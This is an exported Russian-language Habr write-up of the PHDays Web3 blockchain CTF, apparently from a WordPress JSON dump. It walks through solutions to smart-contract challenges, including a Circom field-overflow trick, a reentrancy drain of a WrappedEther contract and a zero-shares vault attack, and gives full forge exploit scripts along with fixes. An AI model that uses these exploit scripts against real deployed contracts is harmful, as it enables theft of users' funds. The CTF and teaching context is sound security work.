\u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435, \u043e\u043a, \u0432\u043e\u0437\u044c\u043c\u0435\u043c x = 2, y = &#8212; 1, \u0442\u043e\u0433\u0434\u0430 b \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u043d\u043e \u043d\u0430\u0448_\u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439_\u0430\u0434\u0440\u0435\u0441\/ -2<\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"vhdl\">pragma circom 2.1.8;   template Main() {     signal input x;     signal input y;       signal output out;       signal a;     signal b;       1 === x + y;     a &lt;== x * y;      b &lt;-- -640381347514406923965716536870369836672564911922;       out &lt;== b * a; }   component main = Main();<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c witness \u0444\u0430\u0439\u043b \u0434\u043b\u044f x = 2, y = &#8212; 1, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. <\/p>\n<p>\u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u044d\u0442\u043e \u0432\u0441\u0435, \u043d\u043e \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0447\u0442\u043e \u043c\u044b \u0441 <strong>its5Q<\/strong> \u0440\u0435\u0448\u0438\u043b\u0438 \u0437\u0430\u0434\u0430\u0447\u0443 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438. \u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e Groth16 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 BN254, \u0442.\u0435. \u0432\u0441\u0435  \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u044e\u0442\u0441\u044f <a href=\"https:\/\/docs.circom.io\/circom-language\/basic-operators\/\" rel=\"noopener noreferrer nofollow\">\u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430<\/a>, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043d\u0435 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u044f \u0444\u043e\u0440\u043c\u0443\u043b\u0443 \u0432 \u0441\u0438\u0433\u043d\u0430\u043b\u0435 b, \u0442.\u0435.<\/p>\n<p>x + y mod BN254 = 1 <\/p>\n<p>a = x * y mod BN254<\/p>\n<p>\u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439_\u0430\u0434\u0440\u0435\u0441 = a * a * a mod BN254<\/p>\n<p>\u0414\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b <a href=\"https:\/\/www.wolframalpha.com\/input?i=%28%28%28-x+*+%28x%2B1%29%29+*+%28-x+*+%28x%2B1%29%29%29+*+%28-x+*+%28x%2B1%29%29%29+mod+21888242871839275222246405745257275088548364400416034343698204186575808495617+%3D+484615273643398798241305772708360617979949544159\" rel=\"noopener noreferrer nofollow\">Wolfram alpha<\/a> \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c x \u0438 y \u043d\u0435 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u044f b<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/40c\/20a\/02e\/40c20a02ef2e8001a04da516ef048c62.png\" width=\"1186\" height=\"240\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/40c\/20a\/02e\/40c20a02ef2e8001a04da516ef048c62.png\"\/><\/figure>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u0432\u0441\u0435, \u0441\u043f\u0430\u0441\u0438\u0431\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u043c, \u0437\u0430\u0434\u0430\u0447\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438\u0441\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435, \u043d\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0438 \u0434\u043e\u043a\u043b\u0430\u0434\u044b \u0441 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439 \u0437\u0430 \u044d\u0442\u043e\u0442 \u0438 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0433\u043e\u0434.<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/819797\/\"> https:\/\/habr.com\/ru\/articles\/819797\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u0421 23 \u043f\u043e 26 \u043c\u0430\u044f Positive Technologies \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0438 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044e PHDays \u043f\u043e \u043a\u0438\u0431\u0435\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 CTF \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430\u043c\u0438 \u043f\u043e \u0440\u0430\u0437\u043d\u044b\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c. \u041f\u0440\u043e Web3 blockchain CTF \u0443\u0437\u043d\u0430\u043b \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e \u043e\u0442 \u0434\u0440\u0443\u0437\u0435\u0439 \u0438 \u043e\u0447\u0435\u043d\u044c \u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0441\u044f, \u0442.\u043a. \u044d\u0442\u043e\u0439 \u0441\u0444\u0435\u0440\u043e\u0439 \u0434\u0430\u0432\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0441\u044c. \u041f\u043e \u0438\u0442\u043e\u0433\u0443 \u0437\u0430\u043d\u044f\u043b 2-\u0435 \u043c\u0435\u0441\u0442\u043e, \u0434\u0430\u043b\u0435\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0443 \u0432\u0441\u0435 \u0437\u0430\u0434\u0430\u0447\u0438.<\/p>\n<h2>1. WrappedEther<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>We have developed a wrapped ether contract so that it can be handled in Defi protocols like ERC20 tokens. Will you be able to find a vulnerability and take all the funds out of the contract?<\/p>\n<pre><code class=\"javascript\">\/\/SPDX-License-Identifier: MIT pragma solidity ^0.8.20;   contract WrappedEther {     mapping(address => uint256) public balanceOf;     mapping(address => mapping(address => uint256)) public allowance;       event Transfer(address indexed from, address indexed to, uint256 amount);     event Approval(         address indexed owner,         address indexed spender,         uint256 amount     );     event Deposit(address indexed from, uint256 amount);     event Withdraw(address indexed to, uint256 amount);       function deposit(address to) external payable {         balanceOf[to] += msg.value;         emit Deposit(msg.sender, msg.value);     }       function withdraw(uint256 amount) external {         require(balanceOf[msg.sender] >= amount, \"insufficient balance\");         balanceOf[msg.sender] -= amount;         sendEth(payable(msg.sender), amount);         emit Withdraw(msg.sender, amount);     }       function withdrawAll() external {         sendEth(payable(msg.sender), balanceOf[msg.sender]);         balanceOf[msg.sender] = 0;         emit Withdraw(msg.sender, balanceOf[msg.sender]);     }       function transfer(address to, uint256 amount) external {         require(balanceOf[msg.sender] >= amount, \"insufficient balance\");         balanceOf[msg.sender] -= amount;         balanceOf[to] += amount;         emit Transfer(msg.sender, to, amount);     }       function transferFrom(address from, address to, uint256 amount) external {         require(balanceOf[from] >= amount, \"insufficient balance\");         require(             allowance[from][msg.sender] >= amount,             \"insufficient allowance\"         );         balanceOf[from] -= amount;         balanceOf[to] += amount;         allowance[from][msg.sender] -= amount;         emit Transfer(from, to, amount);     }       function approve(address spender, uint256 amount) external {         allowance[msg.sender][spender] = amount;         emit Approval(msg.sender, spender, amount);     }       function sendEth(address payable to, uint256 amount) private {         (bool success, ) = to.call{value: amount}(\"\");         require(success, \"failed to send ether\");     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0412 \u0437\u0430\u0434\u0430\u043d\u0438\u0438 \u0445\u043e\u0442\u044f\u0442, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u0437\u0430\u0431\u0440\u0430\u043b\u0438 \u0432\u0441\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u043e\u043a, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u043c\u043e\u043d\u0435\u0442 \u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0442\u044b\u043a\u0430\u0435\u043c\u0441\u044f \u043d\u0430 <a href=\"https:\/\/www.cyfrin.io\/blog\/what-is-a-reentrancy-attack-solidity-smart-contracts\" rel=\"noopener noreferrer nofollow\">re-entrancy<\/a>  \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 <strong>withdrawAll()<\/strong><\/p>\n<pre><code class=\"javascript\">function withdrawAll() external {         sendEth(payable(msg.sender), balanceOf[msg.sender]);         balanceOf[msg.sender] = 0;         emit Withdraw(msg.sender, balanceOf[msg.sender]);     }<\/code><\/pre>\n<p>\u0444\u0443\u043d\u043a\u0446\u0438\u044f <strong>sendEth()<\/strong> \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043c\u043e\u043d\u0435\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0435\u043c \u0431\u0430\u043b\u0430\u043d\u0441 \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u0442\u0441\u044f, \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442\u0441\u044f \u043f\u0430\u0442\u0442\u0435\u0440\u043d <strong>Checks Effects Interactions<\/strong> <strong>(CEI)<\/strong> &#8212; \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0437\u0430\u0442\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u043c\u043e\u043d\u0435\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437 \u0432\u044b\u0437\u043e\u0432\u0435\u0442 withdrawAll() \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043d\u044f\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0435\u0449\u0435 \u0440\u0430\u0437<\/p>\n<pre><code class=\"javascript\">    receive() external payable {         if (msg.sender.balance > 0) {             _reentranceInstanceP.withdrawAll();         } else {             payable(tx.origin).transfer(address(this).balance);         }     }<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u0443\u043c\u043c\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0431\u044b\u043b\u0430 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f, \u044f \u0441\u0434\u0435\u043b\u0430\u043b \u0434\u0435\u043f\u043e\u0437\u0438\u0442 \u0441 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0440\u0430\u0432\u043d\u044b\u0439 \u0431\u0430\u043b\u0430\u043d\u0441\u0443 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0434\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 (\u0432\u0441\u0435-\u0440\u0430\u0432\u043d\u043e \u0432\u0441\u0435 \u043c\u043e\u043d\u0435\u0442\u044b \u0432\u0435\u0440\u043d\u0443\u0442\u0441\u044f \u043d\u0430\u0437\u0430\u0434 \u043f\u043e\u0441\u043b\u0435 \u0430\u0442\u0430\u043a\u0438)<\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430 forge<\/p>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.20;  import \"..\/src\/Task.sol\"; import {Script, console} from \"forge-std\/Script.sol\";  contract Hack {     uint public initBalance = address(this).balance;     WrappedEther public _reentranceInstanceP;      constructor(WrappedEther _reentranceInstance) payable {         _reentranceInstanceP = _reentranceInstance;     }      function hackContract() external {         console.log(\"Deposit:\", initBalance);         _reentranceInstanceP.deposit{value: initBalance}(address(this));         console.log(             \"Current instance balance: \",             address(_reentranceInstanceP).balance         );         console.log(\"Withdraw with reentrancy\");         _reentranceInstanceP.withdrawAll();     }      receive() external payable {         if (msg.sender.balance > 0) {             _reentranceInstanceP.withdrawAll();         } else {             payable(tx.origin).transfer(address(this).balance);         }     } }  contract Solution is Script {     WrappedEther public wrappedEtherInstance =         WrappedEther(payable(&lt;\u0410\u0434\u0440\u0435\u0441 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430>));      function run() external {         vm.startBroadcast();         console.log(             \"Contract Balance: \",             address(wrappedEtherInstance).balance         );          Hack hackContractInstance = new Hack{             value: address(wrappedEtherInstance).balance         }(wrappedEtherInstance);         hackContractInstance.hackContract();         console.log(             \"Contract Balance: \",             address(wrappedEtherInstance).balance         );         vm.stopBroadcast();     } } <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 &#8212; \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0432\u0438\u043d\u0443\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u043e\u0431\u043d\u0443\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u043f\u0435\u0440\u0435\u0434 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u0432 \u043e\u0431\u0449\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043b\u0443\u0447\u0448\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c <a href=\"https:\/\/docs.openzeppelin.com\/contracts\/3.x\/api\/utils#ReentrancyGuard\" rel=\"noopener noreferrer nofollow\">nonReentrant<\/a> \u0438 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043f\u0440\u0438\u043d\u0446\u0438\u043f CEI <\/p>\n<p>\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e re-entrancy \u0430\u0442\u0430\u043a\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0438 \u0434\u0430\u0436\u0435 ChatGPT, \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u0438\u043f \u0430\u0442\u0430\u043a \u0432\u0441\u0435 \u0435\u0449\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0442\u043e\u043f 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (7 \u0438 8 \u043c\u0435\u0441\u0442\u043e \u0437\u0430 2023) \u043f\u043e \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u043c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c<\/p>\n<figure class=\"full-width\"><\/figure>\n<h2>2. AntiRugPull<\/h2>\n<details class=\"spoiler\">\n<summary>\u0417\u0430\u0434\u0430\u0447\u0430<\/summary>\n<div class=\"spoiler__content\">\n<p>A new protocol promising high APR has appeared in the network. When you carefully study the project code, you, as a professional, realize that it is a scam, right?) Now your task is to teach the scammers who deployed the project in the network a lesson so that they could not withdraw funds from the protocol.<\/p>\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.20;   import \"openzeppelin-contracts\/contracts\/token\/ERC20\/ERC20.sol\";   contract MintableERC20 is ERC20 {     constructor(         string memory name,         string memory symbol,         uint256 mintAmount     ) ERC20(name, symbol) {         _mint(msg.sender, mintAmount);     } }   contract Vault {     address public owner;     MintableERC20 public token;     mapping(address => uint256) public shares;     uint256 public totalShares;       constructor(address _token) {         owner = msg.sender;         token = MintableERC20(_token);     }       function deposit(uint256 _amount) external {         require(_amount > 0, \"Vault: amount must be greater than 0\");           uint256 currentBalance = token.balanceOf(address(this));         uint256 currentShares = totalShares;           uint256 newShares;         if (currentShares == 0) {             newShares = _amount;         } else {             newShares = (_amount * currentShares) \/ currentBalance;         }           shares[msg.sender] += newShares;         totalShares += newShares;           token.transferFrom(msg.sender, address(this), _amount);     }       function withdraw(uint256 _sharesAmount) external {         require(_sharesAmount > 0, \"Vault: amount must be greater than 0\");           uint256 currentBalance = token.balanceOf(address(this));         uint256 payoutAmount = (_sharesAmount * currentBalance) \/ totalShares;           shares[msg.sender] -= _sharesAmount;         totalShares -= _sharesAmount;           if (msg.sender == owner) {             payoutAmount = token.balanceOf(address(this));         }           token.transfer(msg.sender, payoutAmount);     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u041e\u0442 \u043d\u0430\u0441 \u0445\u043e\u0442\u044f\u0442, \u0447\u0442\u043e\u0431\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043d\u0435 \u0441\u043c\u043e\u0433 \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043c\u044b \u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u043c, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e owner \u043f\u043e\u043f\u0430\u0434\u0435\u0442 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>withdraw() <\/strong>\u0437\u0430\u0431\u0435\u0440\u0435\u0442 \u0432\u0441\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430, \u0442\u043e\u0433\u0434\u0430 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0435\u043c\u0443 \u043f\u043e\u043c\u0435\u0448\u0430\u0442\u044c &#8212; \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u043b\u043e\u0432\u0438\u0435 <strong>_sharesAmount > 0<\/strong> \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u043e\u0441\u044c, \u0442.\u0435 owner \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c shares. <\/p>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>deposit() <\/strong>\u0438 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u044e\u0442\u0441\u044f <strong>newShares<\/strong>, \u0437\u0430\u043c\u0435\u0447\u0430\u0435\u043c \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 newShares \u0440\u0430\u0432\u043d\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u043e\u043c\u0443 \u0431\u0430\u043b\u0430\u043d\u0441\u0443, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435, \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430<\/p>\n<pre><code class=\"javascript\">uint256 currentBalance = token.balanceOf(address(this)); uint256 currentShares = totalShares;  if (currentShares == 0) {             newShares = _amount;         } else {             newShares = (_amount * currentShares) \/ currentBalance;         } <\/code><\/pre>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0431\u0430\u043b\u0430\u043d\u0441\u044b \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u0443 \u043d\u0430\u0441 9 \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u0443 owner 1, \u043c\u0435\u0442\u043e\u0434 transfer \u0443 MintableERC20  \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u043c \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u043c, \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c <a href=\"https:\/\/youtu.be\/QuJ414XJA14?list=PL%E2%80%91PDZMPQHOz9__o8K1lMAlQXr1RjXu6wS&amp;t=936\" rel=\"noopener noreferrer nofollow\">zero shares \u0430\u0442\u0430\u043a\u0443 (\u0434\u043e\u043a\u043b\u0430\u0434 \u0421\u0435\u0440\u0433\u0435\u044f \u041f\u0440\u0438\u043b\u0443\u0446\u043a\u043e\u0433\u043e \u0441 PHDays 2023)<\/a> <\/p>\n<p>\u0414\u0435\u043b\u0430\u0435\u043c \u0434\u0435\u043f\u043e\u0437\u0438\u0442 1 wei \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c 1 share, \u0437\u0430\u0442\u0435\u043c \u0434\u0435\u043b\u0430\u0435\u043c transfer 1 token \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c <strong>currentBalance = 10**18 +1,<\/strong> \u0442\u0435\u043f\u0435\u0440\u044c \u043b\u044e\u0431\u043e\u0439, \u0437\u0430\u043a\u0438\u043d\u0443\u0432\u0448\u0438\u0439 \u043d\u0430 \u0431\u0430\u043b\u0430\u043d\u0441 &lt;= 1 \u0442\u043e\u043a\u0435\u043d\u0430 \u0438\u0437-\u0437\u0430 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0440\u0438\u0444\u043c\u0435\u0442\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 0 shares \u0438 \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 <strong>withdraw<\/strong><\/p>\n<details class=\"spoiler\">\n<summary>\u0420\u0435\u0448\u0435\u043d\u0438\u0435<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"javascript\">\/\/ SPDX-License-Identifier: MIT pragma solidity ^0.8.0;  import \"..\/src\/Task.sol\"; import {Script, console} from \"forge-std\/Script.sol\";  contract Solution is Script {     function run() external {         Vault vaultInstance = Vault(             payable(&lt;\u0410\u0434\u0440\u0435\u0441 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430>)         );         MintableERC20 tokenInstance = vaultInstance.token();         vm.startBroadcast();         tokenInstance.approve(address(vaultInstance), 1);         vaultInstance.deposit(1);         tokenInstance.transfer(address(vaultInstance), 1 ether);         vm.stopBroadcast();     } }<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 &#8212; \u0432\u043e \u0438\u0437\u0431\u0435\u0436\u0430\u043d\u0438\u0435 zero shares \u0430\u0442\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0434\u0435\u043b\u0430\u0442\u044c <strong>dead shares <\/strong>&#8212; \u0432 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432, 